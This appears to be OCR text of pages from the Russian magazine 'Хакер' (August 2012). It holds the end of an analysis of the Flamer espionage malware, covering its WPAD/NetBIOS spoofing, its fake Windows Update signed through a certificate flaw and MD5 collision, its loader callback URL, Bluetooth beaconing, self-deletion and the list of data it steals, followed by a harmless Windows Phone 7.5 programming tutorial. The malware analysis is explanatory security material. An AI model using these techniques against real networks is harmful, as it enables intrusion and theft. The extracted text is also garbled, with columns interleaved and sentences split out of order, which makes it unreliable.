Махмуд, поджигай!Рис.2. Краткая схема зараженияРис.3. Подкомпоненты и их назначение2. Windows автоматически открывает папкуи обрабатывает файлы, находящиеся внутри.3. Flamer запускается через lnk-файл, эксплуатируяуязвимость ссылок.Атака man-in-the-middle (MITM, человек посередине)на Windows UpdateFlamer способна использовать довольноинтересный метод атаки на функцию WindowsUpdate для самораспространения по локальнойсети. В процесс доставки фальшивого обновлениявовлечены три его компонента: SNACK,MUNCH и GADGET.Когда запускается Internet Explorer, он поумолчанию автоматически проверяет заданнуюконфигурацию прокси-сервера. Это происходитпосредством Web Proxy Auto-Discovery Protocol(WPAD). Internet Explorer пробует получитьданные (wpad.dat) на основе доменного именикомпьютера. Например, если компьютер имеетимя «computerA.group.company.com», InternetExplorer будет запрашивать wpad.dat со следующихузлов:• wpad.group.company.com,• wpad.company.com.добные атаки на NetBIOS WPAD — хорошо известнаятехника, и многие доступные утилитыее используют.Когда еще не зараженный компьютер получаетподдельный файл wpad.dat, он используетв качестве прокси-сервера компьютер,инфицированный Flamer. После этого весь еговеб-трафик будет сначала отправляться на этотзараженный компьютер.Компонент MUNCH — это веб-сервер внутриFlamer, и он принимает перенаправленныйтрафик. MUNCH проверяет в нем наличиеразличных запросов, включая совпадениеURL-ссылок с Windows Update. Как только онообнаруживается, атака MITM начинается.Мошенничество с Windows Update нетривиально,так как обновления должны бытьподписаны Microsoft. Однако Flamer обошелэто ограничение, используя сертификат, связанныйс Microsoft Root Authority и ошибочноразрешающий подписание кода. Это произошлоблагодаря бреши в сервере MicrosoftTerminal Server Licensing. Как часть процессаактивации Microsoft выпускает сертификатдля сервера Terminal Services Licensing,позволяющий Microsoft отслеживать правапользования сервером Terminal Services. Этисертификаты являются авторизованнымиMicrosoft Enforced Licensing IntermediatePCA, который, в свою очередь, авторизованMicrosoft Root Authority. Эти выпущенныесертификаты являются сертификатамиограниченного использования, но позволяютподписывать ими код. Это дало Flamer возможностьподписать компонент и сделать егокак бы распространяемым от имени Microsoft.(Компания Microsoft выпустила бюллетеньSecurity Advisory 2718704 и соответствующееобновление, которое устраняет эту уязвимостьи отзывает сертификаты, о которыхздесь идет речь.)Подписанный таким образом бинарникспособен пройти верификацию на системахWindows XP, но отклоняется системами WindowsVista и Windows 7 с момента выпуска Microsoftрасширения Hydra. Поэтому злоумышленникипредпочли использовать ранее неизвестныйОбычно разрешение этих имен в IP-адреспроисходит на сервере DNS. Однако если DNSсерверне содержит этих зарегистрированныхзаписей, Internet Explorer будет также использоватьдля разрешения имен WINS и NetBIOS.Разрешение имен NetBIOS позволяет компьютерамнаходить друг друга в локальной сетина основе peer-to-peer модели взаимодействия,то есть без центрального сервера. Каждыйкомпьютер просто рассылает широковещательныесообщения своего имени для обеспечениясобственной идентификации. Разумеется, этонебезопасно, и компьютеры, используя эту возможность,могут «обманывать» друг друга.SNACK выполняет ряд функций, включаясниффинг NetBIOS-запросов в локальнойсети. Когда клиенты пытаются разрешить имякомпьютера в сети и выполнить WPAD-запрос,Flamer уведомляет их, что он является WPADсервером,и предоставляет им поддельныйфайл WPAD-конфигурации (wpad.dat). Пометод,вызывающий конфликт обработки MD5.Затратив сравнительно небольшие усилия, онимогут вызвать конфликт обработки MD5 в процессеполучения действительного сертификата,нужного для бинарника.Когда Flamer получает запрос на WindowsUpdate, модуль GADGET через MUNCH предоставляетбинарник, подписанный действующимсертификатом, позиционирующим себяв качестве порождения Microsoft. Бинарникзагружается и запускается на незараженномкомпьютере так, как если бы он был официальнымобновлением Windows Update. Этотбинарник еще не Flamer, но это ее загрузчик.Один из образцов бинарника ссылается на себякак TumblerEXE.exe.Tumbler сначала проводит ряд провероксистемной информации и сетевых интерфейсов,включая установленные продукты информационнойбезопасности. Если Tumbler полагает, чтоинфицирование возможно, то он связываетсяс компьютером, зараженным Flamer, по HTTP поURL-ссылке следующего вида:[http://]MSHOME-/view.php?mp=1&jz=&fd=&am=&ef=&pr=&ec=&ov=&dd=Приложение MUNCH зараженного Flamerкомпьютера в ответ отправляет mssecmgr.ocx, и Tumbler сохраняет его как %Windir%\temp\~ZFF042.tmp и затем запускает. Имя этогофайла может отличаться для различных образцов.После его запуска компьютер становитсяинфицированным Flamer.BLUETOOTH4 Flamer — единственная из Windowsугроз,использующая Bluetooth. Данная функциональностьреализуется модулем BeetleJuice,который подключается конфигурационнымипараметрами, задаваемыми злоумышленником.Когда он включен, то выполняет две основныезадачи.Первая — сканирование с целью обнаружениявсех доступных Bluetooth-устройств.ХАКЕР 08 /163/ 2012 081


MALWAREПри обнаружении устройства модуль опрашиваетего статус и записывает детальнуюинформацию о нем, включая идентификатор,для последующей отправки злоумышленнику.Вторая — самоконфигурация в качествеBluetooth-маяка. Это означает, что компьютер,зараженный Flamer, будет «отсвечивать», когдалюбое другое Bluetooth-устройство сканируетокружающее пространство. В дополнениек Bluetooth-маяку Flamer шифрует информациюоб инфицированном компьютере и затем сохраняетее в специальном поле «description». Когдалюбое другое устройство сканирует Bluetoothокружение,это поле ему будет доступно.Нет однозначного представления о том, длячего именно собирается Bluetooth-информация.Один из вариантов объяснения — чтобы, отслеживаяприсутствие мобильных устройствв ближайшем окружении жертвы, получитькарту социальной сети. Bluetooth-маяк такжеможет быть использован для определенияфизического месторасположения зараженногокомпьютера, так как радиоволны маяка могутбыть обнаружены чувствительной антеннойнеподалеку. Получаемая таким образоминформация может также быть использованадля отслеживания перемещений выбранногопользователя (в случае заражения мобильногокомпьютера и/или отслеживания перемещенияего телефона) и ведения аудиозаписи переговоровлюдей, находящихся поблизости.C&C-СЕРВЕР5 Выявлено более 80 доменов, используемыхв качестве C&C-серверов, включающихнебольшие группы, привязанные к одному IPадресу.Все домены были зарегистрированы наподставных (сфабрикованных) лиц — владельцевиз различных стран.В начале июня 2012 года C&C-серверы,которые еще не были выявлены, отправиликоманду самоуничтожения инфицированнымклиентам — загрузить файл browse32.ocx, ответственныйза удаление Flamer с зараженногокомпьютера. Файл имеет временной штамп от09 мая 2012 года.Модуль browse32.ocx имеет две части:1. EnableBrowser — это инициатор, задающийокружение (семафоры, события, общие блокипамяти и другие) до начала выполнения действий.2. StartBrowse — это часть кода, которая реальноудаляет компоненты Flamer.Модуль содержит обширный список файлови папок, используемых Flamer. Он находиткаждый файл на диске, удаляет его и последовательноперезаписывает освобожденноедисковое пространство случайным наборомсимволов, препятствуя обнаружению информацииоб инфицировании. Этот компонент содержитпрограмму генерации случайных чисел,используемую в результате перезаписи. Онпытается не оставить следов произошедшегоранее инфицировании.Интересно, что загружался специальныйкомпонент, в то время как Flamer уже содержалакомпонент SUICIDE с аналогичной функциональностью.Неясно, почему авторы угрозы решилине использовать функциональность SUICIDE,а вместо этого нагрузили Flamer выполнениемподобной задачи на основе нового модуля.ЗАКЛЮЧЕНИЕКонечно, хотелось бы поместить подобныеугрозы в своеобразную клетку — в «песочницу»,виртуально моделирующую различные системыдля изучения их поведения, но увы… мечты,мечты… А пока остается лишь использоватьв обязательном порядке передовые продуктыинформационной безопасности в (обязательно!)актуальном состоянии и ни в коем случае не пренебрегатьобновлениями безопасности. Удачи напросторах интернета! zИНФОРМАЦИЯ, КОТОРОЙ ОЧЕНЬ ИНТЕРЕСУЕТСЯ FLAMERИнформация о системе:• Имя компьютера• Исполняющиесяпроцессы• Службы• Свойства сменныхносителей информации• Зарегистрированныеустройства• Информация о временнойзоне (часовом поясе)• Информация о принтереСетевая информация:• IP-адрес и настройки• Настройки Gateway• Настройки Proxy• Подключенные принтеры• Настройки DHCP• Информация DNS• Информация таблицымаршрутизации• Сетевые картыи интерфейсы• Содержимое файла Hosts• Имя узла• Настройки сервера почты• Информация обудаленных подключенияхк интернету• Имя и параметры Wi-Fiсети• Открытые порты• Открытые соединенияПрофили и кешируемыепараметры учетныхзаписей:• Учетные данныекомпьютера• Microsoft Outlook• Remote Access Services• CoreFTP• CureFTP• EmFTP• FTP Explorer• Mssh• NetserveFTP• RAdmin• RoboFTP• Softx FTP• South River WebDrive• TeamViewer• VNCДанные пользователяи окружения:• Снимки экрана• Запись видео• Запись аудио• История просмотров• Свойства Bluetoothустройств,асположенныхв зоне досягаемости• Имена близлежащихкомпьютеров• Другие детали обудаленных компьютерах• Список папок и файловФайлы:• Документы MS Word• Презентации MSPowerPoint• Таблицы MS Excel• Файлы MS Publisher• Письма Microsoft OutlookExpress• Заметки Microsoft Outlook• Назначенные MicrosoftOutlook appointments• Приглашения на встречиMicrosoft Outlook• Диаграммы MS Visio• Базы данных MS Access• Проектные данныеAutoCAD• PDF-файлы• Изображения JPEG• Изображения Bitmap• Изображения TIFF• Изображения PNG• Изображения GIF• URL-ссылки• CSV-файлы• LNK-файлы• ORA-файлы• RDP-файлы• RTF-файлы• SSH-файлы• SSH2-файлы• TXT-файлыМетаданные файлов:• Общая информация• Заголовок• Исполнитель• Компания• Комментарии• Автор• Владелец• Дата создания• Дата изменения• Расширения• Версии• Ключевые слова• Руководитель• Кем внесено последнееизменение• GPS-широта• GPS-долгота• GPS-высота• Дата создания• Производитель камеры• Модель камеры• Расширения• Информация о размере• Информация о сжатииУстановленныеприложения:• Ace FTP• BitKinex• Bulletproof FTP• CyD FTP• Dameware• Innosetup• Intersoft SecureKeyAgent• Ipswitch WSFTP• JaSFTP• Jildi FTP• Netserve FTP• PenguiNet• RageWork• SecureCRT• SmartFTP• VNCМониторинг сетевоготрафика:• NetBIOS/SMB• Yahoo mail• Yahoo Rocketmail• Yahoo Maktoob• Gawab• Google mail• Microsoft Live• Microsoft Hotmail• Домены, начинаяс почтового адреса.082ХАКЕР 08 /163/ 2012


PreviewКОДИНГ90ХАРДКОРНЫЙ ПУТЬК ПРОИЗВОДИТЕЛЬНОСТИСкоро все мы подсядем на облака,будем там хранить и данныеи программы, а там ой как хочетсяобустроить свой собственный,приватный уголок. Для этого придетсяшифровать трафик, и скоростькриптопреобразования будетглавным определяющим факторомкомфортной работы в облаке. Выборалгоритма шифрования у нас невелик— либо ГОСТ, либо AES. Но какреализовать быстрое шифрование?Автор рассказывает, что в результатебессонных ночей имеется новыйалгоритм реализации ГОСТа — такой,который грех не запатентовать.КОДИНГUNIXOID84РЕЦЕПТЫ ДЛЯ WINDOWS PHONE 7.5Наша поваренная книга с готовыми рецептамидля работы с вибровызовом, акселерометром,компасом, JSON и базамиданных под мобильной платформой от MS.98ДАРТ СВЕТЛОЛИКИЙВыстрелит или не выстрелит новый языкпрограммирования Dart, который Googleсватает в качестве современной заменыдля JavaScript?114НОВЫЙ LINUX MINTУспешны ли революционные измененияв свежем релизе дистрибутива, которыйдавно обосновался на первом местепочетного рейтинга Distrowatch.com?UNIXOIDSYN/ACKFERRUM120КОГДА НЕВОЗМОЖНОЕ ВОЗМОЖНОИнтервью с Дмитрием Гринбергом, молодымпрограммистом Google, которому удалосьзапустить Ubuntu Linux на 8-битноммикроконтроллере.128КОНТРОЛЬ В СВОБОДНОМ ПОТОКЕНаш подробный HOWTO о том, как вреальном времени анализировать потокданных и генерировать подробную статистикупо использованию трафика.132ТЕСТ SSDПереход с медленного HDD на быстрыйSSD всегда дает ощутимый приростпроизводительности. Как сделатьапгрейд, но при этом не разориться?ХАКЕР 08 /163/ 2012 083


КОДИНГЮрий «yurembo» Язев (yazevsoft@gmail.com)Рецептыдля Windows Phone 7.5СЕМЬ ПОКАЗАТЕЛЬНЫХ ПРИМЕРОВПРОГРАММИРОВАНИЯ ПОД МОБИЛЬНУЮ ВИНДУМобильная ОС Windows Phone 7.5 обладает колоссальнымнабором функций, к которым можно получить доступс помощью SDK 7.1. Посвящать рассмотрению каждой изних целую статью было бы неразумно, поэтому мы решилипостроить статью как сборник рецептов — небольшихочерков о каждой интересной функции.084ХАКЕР 08 /163/ 2012


Рецепты для Windows Phone 7.5есной Microsoft выпустила очередное обновление длясредств разработки под свою мобильную платформу.ВОсобо продвинутых фич этот апгрейд не добавил, развечто в эмуляторе появилась поддержка тестирования приложенийдля малобюджетных устройств с 256 Мб оперативы. Такжеапгрейд обновил старый эмулятор — для устройств с 512 Мб.В этой статье я буду описывать работу с обновленными средствамиразработки.Для начала вспомним, что смартфон на базе Windows Phoneобязан обладать определенным набором устройств, иначе онне будет сертифицирован Microsoft как устройство для WindowsPhone. К некоторым устройствам программист имеет доступ черезAPI, но, к сожалению, пока еще не ко всем. Хотя при использованииSDK прошлой версии (7.0) у программиста было еще меньшевозможностей. В этой статье мы рассмотрим несколько рецептовдля работы с «открытыми» для использования девайсами.РЕЦЕПТ 1. ВИБРОВЫЗОВЭто самый простой трюк, который можно осуществить через доступк харду смартфона. Итак, приступим. Запусти Visual Studio2010, создай новый проект Windows Phone Application на базеSilverlight. Размести на заготовке приложения две кнопки. Создайобработчики нажатия для обеих. В первом из них напиши:VibrateController.Default.Start(TimeSpan.FromSeconds(5));С помощью этой строчки кода ты запустишь виброзвонок продолжительностьюпять секунд. Если необходимо завершить вызов досрочно,то надо просто вызвать VibrateController.Default.Stop().Это будет происходить при нажатии второй копки, в обработчиккоторой нAPIши приведенную инструкцию. Не забудь приинклудитьпространство имен Microsoft.Devices;На эмуляторе невозможно увидеть результат рецепта, надо проверятьэффект на реальном девайсе.РЕЦЕПТ 2. ИСПОЛЬЗОВАНИЕ РАДИОПрограммист также имеет доступ к этому устройству с прикладногоуровня. Давай условимся: для каждого рецепта мы будем создаватьновый проект. Чтобы включить радио из своего приложения,достаточно написать следующий код:FMRadio myRadio = FMRadio.Instance;myRadio.CurrentRegion = RadioRegion.Europe;myRadio.Frequency = 103.9; // не подумай, что я слушаю// это, просто для теста :)myRadio.PowerMode = RadioPowerMode.On;В первой строке получаем экземпляр класса FMRadio и сохраняемего в переменной. Затем устанавливаем регион нашегопребывания, их всего три: Europe, Japan и United States. Выбираемближайший :). Далее надо установить желаемую частоту. Финальнымаккордом включаем радио. Не забудь подключить к телефону(ты же на реальном девайсе дебажишь?) наушники, посколькуWindows Phone запускает радио, только если они подсоединены.Чтобы выключить радио, достаточно написать: myRadio.PowerMode= RadioPowerMode.Off. Можно и просто выдернуть наушники,и радио автоматом выключится.РЕЦЕПТ 3. ПОЛОЖЕНИЕ ТЕЛЕФОНА В ПРОСТРАНСТВЕВ каждом смартфоне на базе Windows Phone имеется девайс,именуемый акселерометром. Он позволяет узнать положениетелефона в пространстве. Другими словами, он определяет силу,применимую к телефону в направлении каждой из трех осей (в диапазонеот –1 до 1), то есть насколько телефон наклонен в ту илииную сторону. На практике данные от акселерометра применяютсядля определения способа взаимодействия с телефоном (трясет еговладелец или перемещает), что может использоваться, например,в играх для создания особого типа контрола. Напишем небольшуюпрогу, которая, учитывая наклон смартфона, будет выводить позициюустройства, что, как мы выяснили выше, соответствует уровнюсилы, применяемой к телефону.Размести на заготовке три надписи — для данных каждой изосей и две кнопки — для запуска и остановки считывания с акселерометраданных. Чтобы работать с сенсорными устройствами —если кто спросит, акселерометр является одним из них :), — добавьв проект две сборки: Microsoft.Xna.Framework и Microsoft.Device.Sensors (Project Add Reference). В начале файла C#-кодадобавь ссылки на следующие пространства имен: Microsoft.Xna.Framework, Microsoft.Devices.Sensors.Чтобы начать работу с акселерометром, надо объявить и создатьустройство. В начале класса MainPage напиши:Accelerometer Acc = new Accelerometer().Теперь надо зарегистрировать обработчик события измененияположения телефона. Для этого в конструкторе класса напиши:Acc.CurrentValueChanged += Acc_CurrentValueChanged.Также в конструкторе надо для вновь созданного устройства задатьзначение свойства TimeBetweenUpdates — оно отвечает завременной период, через который будет возбуждаться событие:Acc.TimeBetweenUpdates = TimeSpan.FromMilliseconds(100).Наконец, напишем обработчик уже зарегистрированного события:void Acc_CurrentValueChanged(object sender,SensorReadingEventArgs e){var position = e.SensorReading.Acceleration;Dispatcher.BeginInvoke(() =>{xpos.Text = position.X.ToString("0.0");ypos.Text = position.Y.ToString("0.0");zpos.Text = position.Z.ToString("0.0");});}В начале тела функции объявляем переменную position неявноготипа, который станет известным после присваивания значения;его мы тут же присваиваем, считывая значение с акселерометра.Считанные данные являются типом Vector3.Следующим действием запускается новый поток для работыс пользовательским интерфейсом (ключевое слово Dispatcher).Вообще, многопоточную концепцию Silverlight можно разделитьна два типа: для работы с пользовательским интерфейсом и всюостальную. К первому как раз относится класс Dispatcher, а ковторому — BackgroundWorker. Подробнее о потоках Silverlightты можешь узнать на сайте Microsoft (там имеется очень подробнаядокументация), как говорится — Bing тебе в помощь :), а мырассматриваем кодирование для Windows Phone. Собственно,ХАКЕР 08 /163/ 2012 085


КОДИНГBeginInvoke запускает асинхронный поток, в котором трем текстовымметкам присваиваются координаты по трем осям, преобразованныек текстовому виду.Если для эксперимента ты закомментишь строку созданияи начала выполнения потока (после того, как дочитаешь рецепт),то в таком случае получишь исключение неавторизированного доступа,связанное с невозможностью обновить элементы пользовательскогоинтерфейса из потока, не являющегося порожденнымот класса Dispatcher (та проблема, которую мы с тобой обсуждаливыше).Последним штрихом нашей программы будут обработчики событийнажатия кнопок, в результате выполнения которых в первомслучае акселерометр запустится, а во втором — прекратит передаватьданные.Для первой кнопки напиши: Acc.Start().И для второй: Acc.Stop().Если у тебя нет устройства, ты все же можешь протестироватьэтот трюк, воспользовавшись расширенными средствами эмулятора(рис. 1).Рис. 1. Тестирование акселерометра на эмулятореРЕЦЕПТ 4. РАБОТА С КОМПАСОМДля компаса можно сделать продвинутый интерфейс, подобныйнастоящему прибору, но мы сейчас в этом не заинтересованы,поскольку для начала логичнее всего будет разобраться в программноминтерфейсе компаса. Для нового приложения создайпользовательский интерфейс в виде текстовой метки и двухкнопок. Файл с C#-кодом можешь скопировать из прошлогопроекта, заменяя названия в соответствии с новым решением.Вместо объекта класса Accelerometer создай объект классаCompass. В обработчиках кнопок запускай и останавливай новыйобъект компаса. Более всего изменился обработчик событияCurrentValueChanged:void comp_CurrentValueChanged(object sender,{}SensorReadingEventArgs e)var position = e.SensorReading.MagneticHeading;Dispatcher.BeginInvoke(() =>{xpos.Text = position.ToString();});На этом изменения закончились. Запускай приложение. Онопоказывает число градусов, на которое телефон отклонен от географическогосевера; если направить телефон в сторону севера,то на дисплее отобразится ноль.ОСОБЕННОСТИ СРЕДСТВ ХРАНЕНИЯ ДАННЫХ В WINDOWS PHONE 7.5Рецепты с пятого по седьмой касаютсясредств хранения данных. Как ярассказывал в прошлой статье,посвященной безопасности WindowsPhone (см. мартовский номер «Хакера»),чтобы поддерживать наивысший уровеньбезопасности, эта ОС имеет ограниченныйнабор средств для работы с хранилищеминформации, по сравнению, например,с ОС для десктопов. То есть определенноеприложение имеет доступ не ко всей флешпамяти,а только к своему локальномухранилищу. Для законных приложений этогоболее чем достаточно, зато в этом механизмедля разработчика приготовлены приятныеплюшки, делающие взаимодействиес хранилищем удобнее. Так как мы в прошлойстатье рассмотрели сохранение двоичных —плоских файлов, то здесь посмотрим наспособы хранения структурированныхфайлов.РЕЦЕПТ 5. XMLТекстовый формат XML настолько распространен, что было быстранно, если бы в Windows Phone не было его поддержки. Здесьимеется поддержка, пришедшая в телефон вместе с .NET. Крометого, до выхода версии 7.5 XML-документы являлись единственнымспособом создания баз данных. Но о базах данных мы поговоримпозднее, а сейчас обратим внимание на XML.Уверен, не стоит в очередной раз говорить о том, что такое XML,поэтому сразу перейдем к программингу.Для тестирования рецепта напишем маленькую прогу, с помощьюкоторой пользователь будет вводить какие-то данные, сохранятьв телефоне, а затем при следующем запуске восстанавливатьэти данные из изолированного хранилища, в котором с прошлогосеанса работы они будут храниться в структурированном файле.Пускай эти данные будут представлены тремя строками — соответственно,имя, фамилия, ник.Первым действием добавь в проект две сборки System.Xmlи System.Xml.Serialization. Затем добавь ссылки на четыре пространстваимен: System.IO, System.IO.IsolatedStorage, System.Xml,System.Xml.Serialization.Первые два служат для организации ввода-вывода и органи-086ХАКЕР 08 /163/ 2012


Рецепты для Windows Phone 7.5зации ввода-вывода в изолированное хранилище соответственно.Последние два служат для работы с файлами XML-формата и ихсериализации (сохранения и считывания из флеш-памяти).Смоделируй пользовательский интерфейс: размести на заготовкетри текстовых поля и две кнопки. Добавим открытый класс,экземпляры которого будут служить для хранения введеннойинформации, которые впоследствии мы будем сериализировать:public class UserData{public string FirstName { get; set; }public string LastName { get; set; }public string NickName { get; set; }}В класс мы добавили три открытых автоматически реализуемыхсвойства, обладающих стандартными методами полученияи установки значения. Класс не содержит ни конструкторов, нидополнительных методов, так как в нашем случае подойдет конструктор,предоставляемый компилятором по умолчанию. В обработчикенажатия первой кнопки напишем код для изъятия изтекстовых полей информации, ее передачи в свойства экземпляракласса UserData и последующей сериализации этого экземплярав хранилище:var record = new UserData();record.FirstName = textBox1.Text;record.NickName = textBox3.Text;record.LastName = textBox2.Text;using (var store =IsolatedStorageFile.GetUserStoreForApplication())using (var file = store.CreateFile("data.xml"))// создаем файл для сохранения{XmlSerializer ser = new XmlSerializer(typeof(UserData));// объявляем переменную дляser.Serialize(file, record);// сериализации экземпляра класса UserData}Процесс сериализации состоит из четырех шагов:1. Получить объект хранилища, который будет использоваться напротяжении всей операции записи.2. Создать в хранилище XML-файл для записи.3. Преобразовать поля экземпляра класса в последовательностьбитов, подходящую для записи во флеш-память.4. Наконец, сбросить данные в энергонезависимую память.Использование конструкции с ключевым словом using, независимоот успеха или неудачного выполнения операции, гарантируетосвобождение выделенной под обрабатываемые объекты памяти.То есть освобождение памяти обязательно происходит при выходепотока выполнения за скобки конструкции. Это может происходитьтолько с объектами, порожденными от класса, наследующего интерфейсIDisposable. Потому что использование этой конструкциипредполагает вызов в ее конце метода Dispose объекта.Далее напишем код для обработчика нажатия второй кнопки:UserData record = null;using (var store =IsolatedStorageFile.GetUserStoreForApplication())using (var file = store.OpenFile("data.xml", FileMode.Open)){XmlSerializer ser = new XmlSerializer(typeof(UserData));var reader = XmlReader.Create(file);if (ser.CanDeserialize(reader)){record = (UserData)ser.Deserialize(reader);textBox1.Text = record.FirstName;textBox2.Text = record.LastName;textBox3.Text = record.NickName;}}Здесь все аналогично: создаем переменную нашего класса дляпоследующего сохранения значений, получаем объект хранилища,для чтения открываем файл data.xml, для предстоящей десериализациисоздаем объект, проверяем, можно ли читать заданныйфайл. Если результат положительный, тогда десериализуем содержимоеоткрытого файла, таким образом преобразуем считанныеданные в значения полей класса, последним действием присваиваемсвойству Text текстовых полей пользовательского интерфейсазначения полей класса.Теперь можешь проверить результат. К сожалению, только нареальном аппарате — эмулятор не подойдет. После закрытия эмулятораданные в его виртуальном хранилище будут удалены, а посленового запуска и попытки восстановить сохраненные данныетебя будет ждать исключение.РЕЦЕПТ 6. JSONJSON (JavaScript Object Notation) — более компактный, чем XML,текстовый формат для описания структурированных данных,поэтому он все шире задействуется в информационных системах,в том числе на мобильных девайсах. Изначально этот форматприменялся вместе с JavaScript (что следует из названия), однакосейчас используется со многими другими языками. Объект JSONгораздо лаконичнее, чем объект XML, — приведу пример объекта,содержащего данные экземпляра класса UserData:{ "FirstName" : "Yuriy", "LastName" : "Yazev","NickName" : "yurembo" }Такой формат гораздо проще для чтения, чем даже XML :).Напишем пример: реализуем сериализацию объектов нашегокласса в формат JSON. У нового приложения пользовательскийинтерфейс сделай таким же, как и в предыдущем проекте, такжескопируй класс UserData. Чтобы воспользоваться функциональностьюкласса DataContractJsonSerializer, содержащегосредства JSON-сериализации, необходимо добавить в проектсборку SystemServicemodel.Web, а затем добавить ссылки на трипространства имен: System.IO, System.IO.IsolatedStorage, System.Runtime.Serialization.Json. Не считаю нужным полностью приводитькод обработчиков событий. В них код более-менее понятен,скопируй его из прошлого проекта. Расскажу о правке кода напальцах :). Во-первых, в функции сохранения и восстановленияданных создай файл с расширением json вместо расширенияxml. Это вовсе не обязательно, но с эстетической точки зрениясчитается более чистым. Во-вторых, для сериализации и десериализацииданных вместо объекта класса XmlSerializer воспользуйсяобъектом класса DataContractJsonSerializer. В-третьих, для сбросаданных в память заюзай метод WriteObject вместо метода Serialize.И наконец, в-четвертых, для чтения файла из хранилища воспользуйсяметодом ReadObject вместо Deserialize. Теперь протестируйприложение (аналогично тестированию прошлого рецепта). На видработает так же, но теперь используется другой способ сериализации/десериализацииинформации.ХАКЕР 08 /163/ 2012 087


КОДИНГРЕЦЕПТ 7. БАЗА ДАННЫХ В ТВОЕМ ТЕЛЕФОНЕВ позапрошлом рецепте я обещал рассказать о поддержкебаз данных в Windows Phone 7.5, настала пора под занавес статьивыполнить обещание. Вообще, базы данных представляют собойнастолько полезный и удобный способ хранения информации,что я был удивлен отсутствием их поддержки в прошлой версиимобильной ОС от одного из основных вендоров СУБД — Microsoft.Как я упомянул ранее, в то время разработчики для храненияструктурированных данных использовали файлы XML-формата,при этом они сильно ругались, но выбора не было. Такое положениедел не могло продолжаться долго, и в текущую версию WindowsPhone Microsoft добавила поддержку БД SQL Server Compact.Теперь стало возможным хранить структурированные данныев специально предназначенном для них формате — базах данных.Однако в этой на первый взгляд прекрасной бочке меда есть параложек дегтя. Компактная версия SQL Server для работы с даннымине поддерживает ни Transact-SQL, ни ADO.NET. Зато есть LINQ.Хотя я с довольно большим энтузиазмом встречаю новые разработкиMicrosoft, изначально к LINQ у меня было противоположноеотношение. Зачем надо было переворачивать SQL с ног на голову?Попытка исправить его? Конечно, SQL тоже не идеальная технология,и первоначально (в 70-е годы прошлого века) он разрабатывалсяне для программистов, но к нему уже все привыкли. Ладно,это уже философский вопрос (поэтому нас, программистов, он такволнует :)), оставим его обсуждение на потом. Перейдем к SQLServer Compact: что имеем, то имеем.Из-за того что новый пример достаточно объемный, я небуду приводить все листинги в журнале. Я буду давать краткиерекомендации к коду, а сам исходник ты сможешь взять с диска.В качестве примера давай разработаем программу, которая ведетучет пользователей в БД гипотетической MMOg. Таким образом,БД в нашем случае будет состоять из двух таблиц: в первой содержитсяинформация о человеке, которую этот человек ввелпри регистрации, а во второй — данные его персонажа. В началеработы над новым проектом добавь в него сборку System.Data.Linq,предназначенную для взаимодействия с данными посредствомязыка LINQ. Начнем с создания БД. Эту процедуру можно провестикак минимум тремя способами: описать все классы данных руками,поручить эту работу Visual Studio и заблаговременно создать БД,а потом залить ее в телефон вместе с XAP-файлом и развернутьее там вместе с приложением. Ясно, что первый вариант профнепригоден,а третий недостаточно гибок, к тому же в таком случаеБД получается только для чтения. Конечно, можно сделать еемодифицируемой, но зачем нам дополнительные манипуляции,если можно воспользоваться вполне удобным вторым способоми создать БД визуальными средствами? Выбери в главном меню«Tools» пункт «Connect to Database». Откроется окно выбора источникаданных, выбери «Microsoft SQL Server Compact 3.5», затемпоявится окно «Add Connection». В разделе «Connection Properties»в поле «Database» введи имя базы данных вместе с путем к файлуи расширением sdf (рис. 2).После нажатия кнопки «Create» будет предложено задатьпароль для доступа к БД, а также выбрать режим шифрования.Далее, нажимая кнопки «ОK», закрой оба окна. В результате новаяпустая БД будет создана в заданной папке, а в Server Explorerбудет добавлен новый элемент — БД. Чтобы создать таблицу, разверниБД и в контекстном меню подпункта «Tables» выбери пункт«Create Table». В открывшемся окне задай имя таблицы и введиданные для полей (рис. 3).Зададим отношение между таблицами, пускай оно будет одинк одному по полям ID, то есть одному пользователю соответствуетодин персонаж. В Server Explorer из контекстного меню дляэлемента — таблицы Players выбери «Table Properties». В открывшемсяокне по указателю в левой части перейди на вкладку«Add Relations», в поле «Relation Name» введи имя для отношения(например, ID_REL), в выпадающем списке «Primary Key Table»выбери главную таблицу (Users), список «Foreign Key Table»должен быть неактивен, по умолчанию в нем выбрана таблицаРис. 2. Создание БДРис. 3. Создание таблицы Users088ХАКЕР 08 /163/ 2012


Рецепты для Windows Phone 7.5Players. В списках «Primary Key Table Column» и «Foreign Key TableColumn» должны быть выбраны поля ID. После этого нажми кнопку«Add Columns», затем ниже кнопку «Add Relation». Появится окнос сообщением об успешном создании отношения. Жми ОK в неми в окне табличных свойств.Теперь, когда у тебя есть созданная SQL Server Compact БД, надосоздать файл с классами, описывающими ее таблицы, поля таблици другие свойства. Это можно выполнить с помощью инструментакомандной строки: «Пуск Все программы Microsoft VisualStudio Visual Studio Tools Visual Studio Command Prompt (2010)».Перейди в каталог с БД: cd C:\DB, затем выполни такую команду:sqlmetal gameDB.sdf /code:gameDB.cs /pluralizeВ результате будет создан желаемый файл, однако если будутпредупреждения, то их надо править, модифицируя структуру БДв Visual Studio. Следующим действием добавим этот файл в проект.В VS в Solution Explorer, щелкнув правой клавишей на проекте,из контекстного меню выбери «Add Existing Item». В диалогенайди созданный на прошлом шаге файл (gameDB.cs). Теперьдобавь в заготовку кнопку и в обработчике события ее нажатиянапиши код для создания БД:using (var db = new GameDB(DBStr)){if (db.DatabaseExists() == false)// если БД не существует,{db.CreateDatabase(); // то создать}}Не забудь в начало класса поместить объявление пути к БД:string DBStr = "Data Source=isostore:/gameDB.sdf". Теперь попробуйскомпилировать проект. Появятся две ошибки, связанныес использованием в двух из трех конструкторов нашего классаGameDB необъявленного интерфейса IDbConnection. Нам этиконструкторы не нужны, поэтому смело удаляй оба. Теперь добавимфункциональность, позволяющую добавлять в БД и извлекать изнее данные. Поскольку мы жестко ограничены в размерах областипользовательского интерфейса, то для ввода и вывода данных будутслужить шесть текстовых полей (TextBox), так как в общей сложностиимеем в таблицах шесть полей с «полезными» данными. Ну, это желишь пример работы с мобильной БД. После размещения текстовыхполей добавь еще две кнопки, нажатие одной из которых (Get Data)будет возвращать данные из обеих таблиц, относящиеся к заданномупользователем идентификатору, нажатие второй (Insert Data) будетзаносить в обе таблицы введенные пользователем данные. Я не будуприводить здесь код обработчиков событий их нажатий — смотриисходник на диске, здесь я лишь замечу: выборка производится поидентификатору, который обязательно уникальный (первичный ключ)и одинаковый в обеих таблицах (внешний ключ для таблицы Players),а для создания записи создается объект класса определенной таблицы,его поля заполняются значениями для полей таблицы, послеэтот объект участвует в обновлении таблицы, в конце функции вызываетсяметод для применения обновлений к БД. На этом 